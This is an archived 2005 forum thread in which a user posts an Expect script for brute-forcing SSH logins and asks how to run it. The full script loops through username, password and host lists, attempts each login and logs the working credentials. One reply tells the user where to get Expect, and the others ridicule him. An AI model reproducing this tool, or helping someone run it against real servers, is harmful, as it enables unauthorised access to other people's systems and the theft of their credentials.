Programming Forums

Programming Forums (http://www.programmingforums.org/forumindex.php)
-   Perl (http://www.programmingforums.org/forum21.html)
-   -   Is this Perl (http://www.programmingforums.org/showthread.php?t=5502)

ProjectX Aug 21st, 2005 6:08 PM

Is this Perl
 
How do i run this code. I tried C:\>perl -w SSH.pl(this is what i called the file) and I got n error.

:

#!/usr/bin/expect -f
#
# Written by James Shanahan
(jshanahan@comcastpc.com)
# and Erin Palmer(epalmer@comcastpc.com)
# ssh brute forcer
# This will alow you to specify hosts, password
lists, and a user
# I do not take any reponsibilty for what you do with
this tool
# Hopefully it will make your life easier rather then
making other
# peoples lives more difficult!
   
set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]

if {[llength $argv] != 3} {
  puts stderr "Usage: $argv0 <dictionary-file> <hosts-
file> <user-file>\n"
  exit }

set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]

set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]

foreach username $login {
foreach passwd $passwords {
foreach ip $hosts {
spawn ssh $username@$ip
expect ":"
  send "$passwd\n"
set logFile [open $ip.log a]
expect "L" {
puts $logFile "password for $username@$ip is
$passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
    }
}


iignotus Aug 21st, 2005 6:43 PM

Well it says "/usr/bin/expect", so it's an expect program (whatever that is), not perl. Nice ssh br00t3r you have there ROFL.

ProjectX Aug 21st, 2005 6:57 PM

yeah but how do i run it

sykkn Aug 21st, 2005 8:01 PM

Quote:

Originally Posted by ProjectX
yeah but how do i run it

go grab a copy of expect .... http://expect.nist.gov/#windows

ProjectX Aug 21st, 2005 9:59 PM

can you please give me the download page link. cause i cant find it. Please thanks

iignotus Aug 22nd, 2005 1:23 AM

I like how you think you're going to try to brute something and you can't find a download link on a page full of download links ;P

Infinite Recursion Aug 22nd, 2005 8:35 AM

A brute force script... lol. You don't consider yourself a "hacker" do you? Note: hackers don't use other peoples' scripts, they write their own :)

Dizzutch Aug 22nd, 2005 9:19 AM

hackers don't brute force, that's called a script-kiddie. A hacker wouldn't want to waste time getting into a system that's able to be accessed through brute force ssh.

Infinite Recursion Aug 22nd, 2005 9:27 AM

Apparently, since my days of the above mentioned subject matter... there has been the creation of terms: "gray hat" and "black hat" hacker... I suppose script kiddies would be "bald" ?

coldDeath Aug 22nd, 2005 9:32 AM

lol bald


All times are GMT -5. The time now is 6:13 PM.

Powered by vBulletin® Version 3.7.0, Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Copyright ©2007 DaniWeb® LLC